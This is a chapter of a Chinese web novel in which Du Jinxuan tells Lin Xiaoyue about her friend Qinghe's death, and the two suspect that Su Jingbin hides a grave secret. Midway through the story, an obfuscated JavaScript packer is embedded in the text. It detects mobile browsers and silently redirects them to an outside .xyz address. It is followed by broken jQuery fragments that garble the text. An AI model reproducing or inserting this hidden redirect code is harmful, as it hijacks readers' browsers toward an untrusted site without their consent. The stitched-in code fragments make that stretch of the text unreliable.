目送白鹭远去,林潇月和杜瑾萱转回头,视线相碰,似乎从彼此的眼中看到了同类的影子。那些为高墙深院困住的哀叹,那些冲出去自由自在的畅快,落在此时此刻,是两个女子相对,默默坚持下去的勇气。为自己,又不全是为自己。
杜瑾萱垂眸,继续往下讲。
“我看着心疼,当即就想去找苏靖斌理论,可是清禾拦着不让。她说不怪苏靖斌,更不能怪张惜玉,是她思虑过多,挣脱不开。我开导她,还帮苏靖斌说好话,说可能是张惜玉就在他面前死去,事发突然,场面又太过惨烈,他也吓到了,需要时间缓解。还说他不是薄情寡义之人,否则以他渐起的名望,多讨几个姨娘根本不算什么事。”
“我让清禾给我点时间,这些年跟随师父学习,我不仅攒了些本钱,也积累了不少绣织行业的人脉,准备回到杭州开一家绣坊,把自己的所学和抱负都施展一番。到时候清禾可以每天来我店里坐坐,我们说说话聊聊天,我们攒了近十年的话呢,多得说不完。我都想好了,就说我没钱雇更多的人手,让她来给我帮帮忙,清点也好,记账也好,反正只要我说需要帮手,她肯定会来的。只要多出来走动,只要我陪着她一段时间,她的心结总归会慢慢好的。”
“可世上哪有感同身受,我以为我可以设身处地地替她着想,可我还是低估了她心里的伤。我怎么都没想到,她竟然连一个月都没等下去。她走的时候苏靖斌像往常一样带着墨儿去了书院,谁都不在她身边。我得知消息赶回来已是五天后,她已经下葬了,一座孤零零的新坟,坟前四散的纸钱刺得人心里密密麻麻的疼。”
“清禾身边的陈妈一直在等我,她说清禾嘱咐我的一些话,务必要转告给我。清禾说不许我去找苏老爷,什么疑问、质问、指责,都不要有,她这一别,此前万事皆休,不提,才是对活着的人最好的保护,她强调这一点至为重要。她说她要保护苏靖斌和墨儿,她陡然撒手,苏靖斌一定是伤心的,苏靖斌是个心思重的人,他在精神上对自己是严苛的,千万不要再让他过多地背负。”
“清禾说,让我帮忙照顾墨儿,让我看顾他平安长大,娶妻生子,她说不担心苏靖斌续弦,就是怕墨儿被苏靖斌带着养成清冷的性子,这样的人伤人伤己,一辈子过得沉重。她还说若真的苏靖斌苛待了墨儿,或者墨儿过得不幸福不快乐,就让我无论如何把墨儿接出来带在身边跟我过。她说我有这泼辣的性子,她信我。”
说到这,杜瑾萱泛着泪花,脸上却带着笑意,只是那笑意一闪而过,回味过来全是苦涩。
想想后来她不顾全城议论,一个未婚的老姑娘,在丧偶的名士苏靖斌门前上演了一幕又一幕“泼辣”,最终苏靖斌没办法败下阵来,开始了两家不间断的来往和苏启墨与她的亲近。
清禾如此了解自己的枕边人,相信杜瑾萱出手一定能够镇得住他,怎么就不能为了年幼的孩子自己泼辣一回呢。
不知墨儿怨不怨她这个做母亲的,但是作为好姐妹,杜瑾萱怨她,怨她太过懦弱,怨她一味善良,怨她兀自隐忍,怨她放任自己丢了姓名,怨她为何不给自己机会拉她一把。
既知她泼辣,为何就不能再坚持坚持,就是把她们母子都接出来带在身边,她杜瑾萱也是能做到的。
离海阔天空,曾经就差一步。
“苏夫人真性情,如冰如玉不染尘埃,我敬佩她,更羡慕你们之间深厚的情谊。”林潇月由衷地说。
她没有立场对苏夫人的所做所为做出评判,甚至连附和都不妥。
“她把墨儿教得太好,她隐藏了自己的郁结,巧妙化解着她和苏靖斌之间若即若离的关系,让墨儿浑然不觉。她在墨儿面前欢声笑语,让他要多向父亲讨教,真知灼见,早日成才,她没在墨儿面前说过苏启墨半句不好。所以我自认识墨儿,他就如春日新竹,清朗聪慧,既有内在的纯净,又有外在的光彩。”
“清禾没让墨儿见识过不堪,这些年随着他的长大,我会跟他提及生意场上的尔虞我诈,包括当面人背后鬼的做派,让他知道人性的阴暗面,以防日后容易受伤害。”
“我明白,所以早上您阻止了我们见面,因为从他的反应看,他对我是欣然接受的态度,您怕他受我蒙蔽,导致我暗中伤了他。”
“关于张惜玉,我知道的本就寥寥无几,不过确实像你所说,苏家没有姨娘,不管是她生前还是去世后,苏家都没有她的名分。是清禾觉得张惜玉把命都搭在了苏家,她替苏家觉得亏欠,所以跟墨儿说起来时,让墨儿称呼她一声玉姨娘。不过这个姨娘也可以指的不是妾室,清禾大概是把她当姐妹的。”
“清禾嘱咐过,若有机会,让墨儿去张惜玉坟前上柱香,毕竟于他父亲有救命之恩。但是让他也不必强求,若苏靖斌无意,便不需再提。后来我问过墨儿,墨儿说父亲说不用了,后来就谁都不提了。”
“苏家的大门,十年来我一步都没踏进过,今天既然我进来了,就是想把旧事翻一翻的,不是翻旧账,而是早点有心理准备,不要日后有乱箭伤到墨儿。今天我能坐下来跟你说这么多,并不是你有多值得同情,也不是我拿你没法子。我看得出来,你看着文静柔弱,但是也能泼辣一把,是个不怕事的,有些清禾都不知道的真相,可能还真得指望你才能弄明白。”
“杜老板,我掌握的信息都是碎片,真真假假,我自己也糊涂着,我暂且捡能说的我认为是真实的跟您说一说。我父亲林正阳和苏叔叔,还有张惜玉,他们是师兄妹,从小一起长大,后来遭逢变故,失散后隐姓埋名,多年没有联系。”
“什么?林正阳和他们也是师兄妹?他又正好捡到你?世上有这么巧的事?”杜瑾萱差点惊掉下巴,她站起身来,满脸写着我不信。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15925789|169341||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“很离谱是吗?感觉编都不能编得这么假,这么假谁信呐。所以......这事是真的。”
“老天爷,这是要做什么?”
杜瑾萱是坐不下了,听到这话谁坐得住。
林潇月也站了起来,走到亭子的台阶前望着远处,那个方向,应该是张惜玉住过的院子。
“苏叔叔有些事瞒了苏夫人,我父亲有些事瞒了我母亲,我母亲同样心有郁结,他们二人彼此猜疑,故而有了疏离和积怨,我的身世之所以能爆出来就是因为他们的争吵。”
“我父亲和苏叔叔确实是一直没有联系,直到我及笄两人才见面,苏叔叔第一次看见我时的表情很古怪,除了震惊之外,似乎还有一些喜悦和恐惧。我知道这很矛盾,您也可以认为我年纪小没见识,胡乱揣度。那么抛开这些不说,我父亲和苏叔叔能迅速达成一致,对我的身世默契地守口如瓶,一定有非常非常重大的原因。”
“您想啊,如您所说,若苏叔叔对张惜玉情深似海,这么多年为了她连妻子都冷落,身边再无其他女人,而且张惜又以命相护死在他面前,对他该是多大的打击。如今,看到我,得知那个女儿可能还在人世,他怎能不提不认?他不该把我拉去张惜玉的坟前给她一个交代吗?如此别扭的反应,我的怀疑是应当的吧。”
“苏夫人,您在天有灵,这里是您倾注过情感的地方,苏叔叔与您情投意合的日子,他可曾作伪?”忽然,林潇月喃喃而语,她的目光转向了另一个方向,那里是苏夫人的主院。
“林潇月,你想做什么?”
“苏叔叔再清冷,再无情,他可以有事瞒着不说,但他不会作假,否则张惜玉走后,他但凡愿意有一点虚情假意对苏夫人,苏夫人都能撑过那一段艰难至两人白头。关于这一点,苏夫人和您应该比我更清楚。所以,他与张惜玉之间,应该还有别的隐情,而这个秘密,高于亲情爱情,甚至高于他的名望气节。”
杜瑾萱的眼睑难以控制地急速颤动着,她想要质疑林潇月的猜测,可是却吐不出一个完整的音节。
她说的会是真得吗?真得会是这样吗?
仔细想想,苏靖斌孑然一身来到杭州,出口成章落墨成书,短短时间名声鹊起私塾爆满。他锦绣文采渊博学识从哪里得来?为什么不去考取功名?为何昔年师妹找上门来,他却要隐瞒他们之间的真实关系?
“苏叔叔不是滥情之人,应当不会轻易就移情别恋,更不会因为同情心做出有违自己内心道德标准的事,比如和一个并无男女之情的女人迅速有了孩子。除非——我还是那句话,背后一定有比这更重要的原因。”
杜瑾萱听得脊背发凉,这么多年,她早已从一个局外人变成了局中人。她和清禾一样,以为苏靖斌就是生性凉薄,从未想过,他可能是因为无可奈何。
他背负着巨大的秘密。